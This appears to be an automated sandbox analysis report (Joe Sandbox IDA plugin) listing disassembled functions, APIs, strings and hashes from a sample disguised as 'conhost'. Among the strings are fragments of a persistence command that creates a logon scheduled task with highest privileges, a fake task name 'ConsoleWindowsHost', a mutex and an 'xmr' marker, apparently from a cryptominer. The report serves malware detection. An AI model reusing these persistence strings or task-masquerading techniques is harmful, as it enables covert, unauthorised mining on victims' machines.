Associated: 00000039.00000002.2918537302.00007FF6D68C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_57_2_7ff6d68a0000_conhost.jbxd

Similarity

API ID: signal
String ID: CCG
API String ID: 1946981877-1584390748
Opcode ID: f13047bc6d7352e1b8f11d5569b7695ae3152826a56b4fe30e1e83cf894c4ffc
Instruction ID: 0a8c17e28a0c51abd376c45de9e8a8f69c11f04cfc0b1e21ab0f628368f7c0a5
Opcode Fuzzy Hash: f13047bc6d7352e1b8f11d5569b7695ae3152826a56b4fe30e1e83cf894c4ffc
Instruction Fuzzy Hash: 05415220E5910346FBB811784450B7C11819F89324F699A37DE2EC63E2CD9FB8E99232

Function 00007FF6D68AD540 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 184COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32 ref: 00007FF6D68AD65B

Strings

Mingw-w64 runtime failure:, xrefs: 00007FF6D68AD577
Address %p has no image-section, xrefs: 00007FF6D68AD5B5, 00007FF6D68AD792
VirtualQuery failed for %d bytes at address %p, xrefs: 00007FF6D68AD77C
VirtualProtect failed with code 0x%x, xrefs: 00007FF6D68AD732

Memory Dump Source

Source File: 00000039.00000002.2918288244.00007FF6D68A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6D68A0000, based on PE: true

Associated: 00000039.00000002.2918207984.00007FF6D68A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918343847.00007FF6D68BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918392070.00007FF6D68BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918537302.00007FF6D68C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_57_2_7ff6d68a0000_conhost.jbxd

Similarity

API ID: QueryVirtual
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section$Mingw-w64 runtime failure:
API String ID: 1804819252-1534286854
Opcode ID: 2c8d26977fc1ad65bf0bf3642cde603497243a1fb6ae674b2dccd6f23035e26d
Instruction ID: e64741617183801c6e498ce473debac361941044b876cd997d7cc658b6c18442
Opcode Fuzzy Hash: 2c8d26977fc1ad65bf0bf3642cde603497243a1fb6ae674b2dccd6f23035e26d
Instruction Fuzzy Hash: 9A61AF72E0964286EB108B55E844ABD77A0BB44B94F444236DF4EC77D1EF3EE465C720

Function 00007FF6D68B1640 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 111COMMON

Download Yara Rule

APIs

fwprintf.MSVCRT ref: 00007FF6D68B178C

Strings

%-*.*S, xrefs: 00007FF6D68B17BE
%*.*S, xrefs: 00007FF6D68B1785
%.*S, xrefs: 00007FF6D68B17AA

Memory Dump Source

Source File: 00000039.00000002.2918288244.00007FF6D68A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6D68A0000, based on PE: true

Associated: 00000039.00000002.2918207984.00007FF6D68A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918343847.00007FF6D68BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918392070.00007FF6D68BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918537302.00007FF6D68C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_57_2_7ff6d68a0000_conhost.jbxd

Similarity

API ID: fwprintf
String ID: %*.*S$%-*.*S$%.*S
API String ID: 968622242-2115465065
Opcode ID: e57924a271c519801a0f4579f9996a26a43e0f5ae51609d4395fbbbde7a7301b
Instruction ID: 4542e75d494ee6c568e67f10cef14b223f3635fdb61114c2e386d2c9788a3a12
Opcode Fuzzy Hash: e57924a271c519801a0f4579f9996a26a43e0f5ae51609d4395fbbbde7a7301b
Instruction Fuzzy Hash: 2741D573F1864285F7508E1DD4006BD62A1EB81BD5F188132DE8DCF6C9EE7EE4618B24

Function 00007FF6D68B18F0 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 109COMMON

Download Yara Rule

Strings

%S <#lygkxs#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest , xrefs: 00007FF6D68B18F3
%.*s, xrefs: 00007FF6D68B1A3D
%*.*s, xrefs: 00007FF6D68B1A1A
%-*.*s, xrefs: 00007FF6D68B1A51

Memory Dump Source

Source File: 00000039.00000002.2918288244.00007FF6D68A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6D68A0000, based on PE: true

Associated: 00000039.00000002.2918207984.00007FF6D68A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918343847.00007FF6D68BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918392070.00007FF6D68BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918537302.00007FF6D68C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_57_2_7ff6d68a0000_conhost.jbxd

Similarity

API ID:
String ID: %*.*s$%-*.*s$%.*s$%S <#lygkxs#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest
API String ID: 0-3985640014
Opcode ID: fddb9881937fad370ef5ca7410a34657c715f0875b45d61f60811ff44c5a2ddb
Instruction ID: b4123420c128646c6d49cc8e52bd9fa8f06ce178f1d948aa038b0ff8c61febbb
Opcode Fuzzy Hash: fddb9881937fad370ef5ca7410a34657c715f0875b45d61f60811ff44c5a2ddb
Instruction Fuzzy Hash: 4541B272E1828689F7609F2DD40067D7791EB40B95F98C136CE8DCE2C5EE6EB4648B30

Function 00007FF6D68A2BA0 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF6D68A2BC4
wcscpy.MSVCRT ref: 00007FF6D68A2C72
wcscat.MSVCRT ref: 00007FF6D68A2C7D
wcslen.MSVCRT ref: 00007FF6D68A2C8E

Strings

\??\, xrefs: 00007FF6D68A2C68
eth, xrefs: 00007FF6D68A2BA2

Memory Dump Source

Source File: 00000039.00000002.2918288244.00007FF6D68A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6D68A0000, based on PE: true

Associated: 00000039.00000002.2918207984.00007FF6D68A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918343847.00007FF6D68BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918392070.00007FF6D68BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918537302.00007FF6D68C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_57_2_7ff6d68a0000_conhost.jbxd

Similarity

API ID: memsetwcscatwcscpywcslen
String ID: \??\$eth
API String ID: 468205783-1480138707
Opcode ID: 1da8d7b30039a55c4e68dab3c3bf1b289be8d257a338f345f98b01255c23732d
Instruction ID: 3427be1d77b43ca518c4a399b9a5dde6b7e13062804e04db75dba85fc93e672c
Opcode Fuzzy Hash: 1da8d7b30039a55c4e68dab3c3bf1b289be8d257a338f345f98b01255c23732d
Instruction Fuzzy Hash: 0A31D321D28F4185FB11DB25E8017BD3360AF95784F004236D98DA77A1EF7EA0A6C364

Function 00007FF6D68A2D70 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 90COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 00007FF6D68A2D86
wcscpy.MSVCRT ref: 00007FF6D68A2DFE

Strings

xmr, xrefs: 00007FF6D68A2D70
%S /run /tn "ConsoleWindowsHost", xrefs: 00007FF6D68A2D72
\BaseNamedObjects\wqhuxjyrrhclgfix, xrefs: 00007FF6D68A2D76

Memory Dump Source

Source File: 00000039.00000002.2918288244.00007FF6D68A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6D68A0000, based on PE: true

Associated: 00000039.00000002.2918207984.00007FF6D68A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918343847.00007FF6D68BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918392070.00007FF6D68BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918537302.00007FF6D68C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_57_2_7ff6d68a0000_conhost.jbxd

Similarity

API ID: wcscpywcslen
String ID: %S /run /tn "ConsoleWindowsHost"$\BaseNamedObjects\wqhuxjyrrhclgfix$xmr
API String ID: 225642448-800340309
Opcode ID: fcc0f16526fe57e0dd1e74996c1c46f2981fffd0c113baea7988c354ddfd6ccd
Instruction ID: c6689083302679e1474032ee99c2764852247107c7407f73f5690de7a4c1223f
Opcode Fuzzy Hash: fcc0f16526fe57e0dd1e74996c1c46f2981fffd0c113baea7988c354ddfd6ccd
Instruction Fuzzy Hash: 09310722E0964145EB30DF21A410BBEA690FB453A4F884637EE5D827D5EF7ED0A5C310

Function 00007FF6D68AD7B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 232memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(00007FF6D68C48B8,00007FF6D68C48B0,00007FF6D68C3D80,00007FFE2167ADA0,?,?,?,00000001,00007FF6D68A124C), ref: 00007FF6D68AD96D

Part of subcall function 00007FF6D68AD5B0: VirtualQuery.KERNEL32 ref: 00007FF6D68AD65B

Strings

Unknown pseudo relocation protocol version %d., xrefs: 00007FF6D68ADB12
Unknown pseudo relocation bit size %d., xrefs: 00007FF6D68ADAEA
%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p., xrefs: 00007FF6D68ADB03

Memory Dump Source

Source File: 00000039.00000002.2918288244.00007FF6D68A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6D68A0000, based on PE: true

Associated: 00000039.00000002.2918207984.00007FF6D68A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918343847.00007FF6D68BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918392070.00007FF6D68BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918537302.00007FF6D68C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_57_2_7ff6d68a0000_conhost.jbxd

Similarity

API ID: Virtual$ProtectQuery
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.$%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p.
API String ID: 1027372294-1286557213
Opcode ID: 40bb6ec0e2fcfa0ac91cdaec07ff087abe4a194881d57c3908ad612544070288
Instruction ID: 99e7259b23747c8d4170b7dd399ad9ad95d37fd9b1e2d5c152ed40b47f198f55
Opcode Fuzzy Hash: 40bb6ec0e2fcfa0ac91cdaec07ff087abe4a194881d57c3908ad612544070288
Instruction Fuzzy Hash: 3D91E122F0864286FB208B25D500A7D67A1BF45794F588637CE1DD77C5EE3EE86AC720

Function 00007FF6D68AD100 Relevance: 6.3, APIs: 5, Instructions: 95stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF6D68AD185
memcpy.MSVCRT ref: 00007FF6D68AD19E
free.MSVCRT ref: 00007FF6D68AD1A9

Memory Dump Source

Source File: 00000039.00000002.2918288244.00007FF6D68A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6D68A0000, based on PE: true

Associated: 00000039.00000002.2918207984.00007FF6D68A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918343847.00007FF6D68BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918392070.00007FF6D68BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918537302.00007FF6D68C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_57_2_7ff6d68a0000_conhost.jbxd

Similarity

API ID: freememcpystrlen
String ID:
API String ID: 2208669145-0
Opcode ID: 7411ab55849008a007dc6c83d4a2f9a73750c58f95e0d40c170e633452adc814
Instruction ID: d3ccb952a42540329ae60cfb375fb912d3c8e8223643e24c4d55b614b19ad546
Opcode Fuzzy Hash: 7411ab55849008a007dc6c83d4a2f9a73750c58f95e0d40c170e633452adc814
Instruction Fuzzy Hash: 7A310822E5D64241FB625E116A00BBDD2506F85BE0F184233EE5EC7BC4EF3EE595C220

Function 00007FF6D68B6260 Relevance: 6.1, APIs: 4, Instructions: 92COMMON

Download Yara Rule

APIs

IsDBCSLeadByteEx.KERNEL32 ref: 00007FF6D68B62BA
MultiByteToWideChar.KERNEL32 ref: 00007FF6D68B62FA

Memory Dump Source

Source File: 00000039.00000002.2918288244.00007FF6D68A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6D68A0000, based on PE: true

Associated: 00000039.00000002.2918207984.00007FF6D68A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918343847.00007FF6D68BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918392070.00007FF6D68BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918537302.00007FF6D68C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_57_2_7ff6d68a0000_conhost.jbxd

Similarity

API ID: Byte$CharLeadMultiWide
String ID:
API String ID: 2561704868-0
Opcode ID: fa114358f9d1c0645f095336089c12bb421f7b72dfbfd9187bbe8f1e91e12f03
Instruction ID: 182b23c6a20053b025f76c49a86596733a48cdc79a54a916b2204f03b204ae73
Opcode Fuzzy Hash: fa114358f9d1c0645f095336089c12bb421f7b72dfbfd9187bbe8f1e91e12f03
Instruction Fuzzy Hash: F231A572E4C28186E7604B29B8003AD7690BB98794F588136EADAC77D5CF7ED4E5CB10

Function 00007FF6D68A33D0 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 63COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 00007FF6D68A33F1
wcslen.MSVCRT ref: 00007FF6D68A348D

Strings

0, xrefs: 00007FF6D68A3442
@, xrefs: 00007FF6D68A3453

Memory Dump Source

Source File: 00000039.00000002.2918288244.00007FF6D68A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6D68A0000, based on PE: true

Associated: 00000039.00000002.2918207984.00007FF6D68A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918343847.00007FF6D68BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918392070.00007FF6D68BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918537302.00007FF6D68C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_57_2_7ff6d68a0000_conhost.jbxd

Similarity

API ID: wcslen
String ID: 0$@
API String ID: 4088430540-1545510068
Opcode ID: 6230bfe80de74524b571c293202e0682f4be3a49600a361216c278bb6c94a631
Instruction ID: 76a6dd24205f32d63f461ad0d45f67e66b32303b9eeb18125718d4cb604fde8d
Opcode Fuzzy Hash: 6230bfe80de74524b571c293202e0682f4be3a49600a361216c278bb6c94a631
Instruction Fuzzy Hash: 82213B32A1878086E7208B69F44579BB6A4FBC4394F604136FB8C87B99EF7DD059CB00

Function 00007FF6D68A8685 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 63stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF6D68AA109

Strings

}, xrefs: 00007FF6D68AA196
{parm#, xrefs: 00007FF6D68AA0E3
this, xrefs: 00007FF6D68A8691

Memory Dump Source

Source File: 00000039.00000002.2918288244.00007FF6D68A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6D68A0000, based on PE: true

Associated: 00000039.00000002.2918207984.00007FF6D68A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918343847.00007FF6D68BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918392070.00007FF6D68BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918537302.00007FF6D68C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_57_2_7ff6d68a0000_conhost.jbxd

Similarity

API ID: strlen
String ID: this${parm#$}
API String ID: 39653677-3278767634
Opcode ID: 4734cdfd62d6da564a1163cc26d8b44e41c56201c187ae32c523d42fb6adb101
Instruction ID: fb69dd73e130bdaf11e52469f9115b88aac24f41f82b04700a3a333e6f215f97
Opcode Fuzzy Hash: 4734cdfd62d6da564a1163cc26d8b44e41c56201c187ae32c523d42fb6adb101
Instruction Fuzzy Hash: 94217172E4C68281E7668F24E4007FD2691EB15B94F488133CE4A4AB89DF7EA4A59371

Function 00007FF6D68A3580 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 00007FF6D68A3599
wcslen.MSVCRT ref: 00007FF6D68A35B7

Strings

0, xrefs: 00007FF6D68A35E7
@, xrefs: 00007FF6D68A35F8

Memory Dump Source

Source File: 00000039.00000002.2918288244.00007FF6D68A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6D68A0000, based on PE: true

Associated: 00000039.00000002.2918207984.00007FF6D68A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918343847.00007FF6D68BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918392070.00007FF6D68BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918537302.00007FF6D68C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_57_2_7ff6d68a0000_conhost.jbxd

Similarity

API ID: wcslen
String ID: 0$@
API String ID: 4088430540-1545510068
Opcode ID: c9b29f393ee61479386b84e06c7cd6f99f0b3a77d0f6a3c0fd8583e25555c003
Instruction ID: d993b72623f4a4adb90e357f7ae8e451014fcade521c9f68a2a3bd02755f95a1
Opcode Fuzzy Hash: c9b29f393ee61479386b84e06c7cd6f99f0b3a77d0f6a3c0fd8583e25555c003
Instruction Fuzzy Hash: 7C11BF22A1878182E7209BA5F48539EB760EFC4354F500136FB8DC7B99EF7DC4968B00

Function 00007FF6D68AD430 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF6D68AD4A9

Strings

Unknown error, xrefs: 00007FF6D68AD520
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF6D68AD499

Memory Dump Source

Source File: 00000039.00000002.2918288244.00007FF6D68A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6D68A0000, based on PE: true

Associated: 00000039.00000002.2918207984.00007FF6D68A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918343847.00007FF6D68BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918392070.00007FF6D68BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918537302.00007FF6D68C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_57_2_7ff6d68a0000_conhost.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: 1906c433a280d27318f41f189cba7d22c715d171994103e01e012b4c977d2e1c
Instruction ID: 55d71f541750989cca67670640c7891cda7818192aa7538fb23f030a5940f0be
Opcode Fuzzy Hash: 1906c433a280d27318f41f189cba7d22c715d171994103e01e012b4c977d2e1c
Instruction Fuzzy Hash: E601A522D08F84C5E6128F1CD8011EEB374FF59799F145322EB8D66260DF2AD557C700

Function 00007FF6D68AD4D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF6D68AD4A9

Strings

Overflow range error (OVERFLOW), xrefs: 00007FF6D68AD4D0
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF6D68AD499

Memory Dump Source

Source File: 00000039.00000002.2918288244.00007FF6D68A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6D68A0000, based on PE: true

Associated: 00000039.00000002.2918207984.00007FF6D68A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918343847.00007FF6D68BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918392070.00007FF6D68BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918537302.00007FF6D68C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_57_2_7ff6d68a0000_conhost.jbxd

Similarity

API ID: fprintf
String ID: Overflow range error (OVERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4064033741
Opcode ID: 77aa75729e29dbf5988ac53980e07ce2c190d3a73c1b784c16f68876b8834cbd
Instruction ID: e00f61d41401e46f9999b6d6bd366fdfa277fa283e431581338470fda6401616
Opcode Fuzzy Hash: 77aa75729e29dbf5988ac53980e07ce2c190d3a73c1b784c16f68876b8834cbd
Instruction Fuzzy Hash: C3F04F12C49F8485E2128F2CA4001EEB374FF5E789F185326EA8A76565DF29D6968710

Function 00007FF6D68AD4F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF6D68AD4A9

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF6D68AD499
Total loss of significance (TLOSS), xrefs: 00007FF6D68AD4F0

Memory Dump Source

Source File: 00000039.00000002.2918288244.00007FF6D68A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6D68A0000, based on PE: true

Associated: 00000039.00000002.2918207984.00007FF6D68A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918343847.00007FF6D68BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918392070.00007FF6D68BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918537302.00007FF6D68C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_57_2_7ff6d68a0000_conhost.jbxd

Similarity

API ID: fprintf
String ID: Total loss of significance (TLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4273532761
Opcode ID: 3ac046cabeb6d0b7aae3b37dd71682755883ba5e904a3956b9c1187371a52c10
Instruction ID: c56b209456fea95bfb8789f3040a5be4a71c7f9fc52fccef0d62aa42a704bb1d
Opcode Fuzzy Hash: 3ac046cabeb6d0b7aae3b37dd71682755883ba5e904a3956b9c1187371a52c10
Instruction Fuzzy Hash: 25F0AF12C08F4481E2128F1CA4000EEB374FF4E789F185326EA8936560DF29E6928710

Function 00007FF6D68AD4E0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF6D68AD4A9

Strings

The result is too small to be represented (UNDERFLOW), xrefs: 00007FF6D68AD4E0
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF6D68AD499

Memory Dump Source

Source File: 00000039.00000002.2918288244.00007FF6D68A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6D68A0000, based on PE: true

Associated: 00000039.00000002.2918207984.00007FF6D68A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918343847.00007FF6D68BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918392070.00007FF6D68BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918537302.00007FF6D68C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_57_2_7ff6d68a0000_conhost.jbxd

Similarity

API ID: fprintf
String ID: The result is too small to be represented (UNDERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2187435201
Opcode ID: 93b4d4083b18e9672bf8a119e9ca8b5d97876ef0a22b5476574a553aca9889b1
Instruction ID: b11ec48644d7accdde0da8302f5cb8acdeeebd27958e2d4fd169ffc2856fab37
Opcode Fuzzy Hash: 93b4d4083b18e9672bf8a119e9ca8b5d97876ef0a22b5476574a553aca9889b1
Instruction Fuzzy Hash: 71F04F12C48F4485D2128F1CA4001EEB374FF5E789F185326EA8A76565DF29E6928710

Function 00007FF6D68AD510 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF6D68AD4A9

Strings

Argument singularity (SIGN), xrefs: 00007FF6D68AD510
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF6D68AD499

Memory Dump Source

Source File: 00000039.00000002.2918288244.00007FF6D68A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6D68A0000, based on PE: true

Associated: 00000039.00000002.2918207984.00007FF6D68A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918343847.00007FF6D68BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918392070.00007FF6D68BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918537302.00007FF6D68C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_57_2_7ff6d68a0000_conhost.jbxd

Similarity

API ID: fprintf
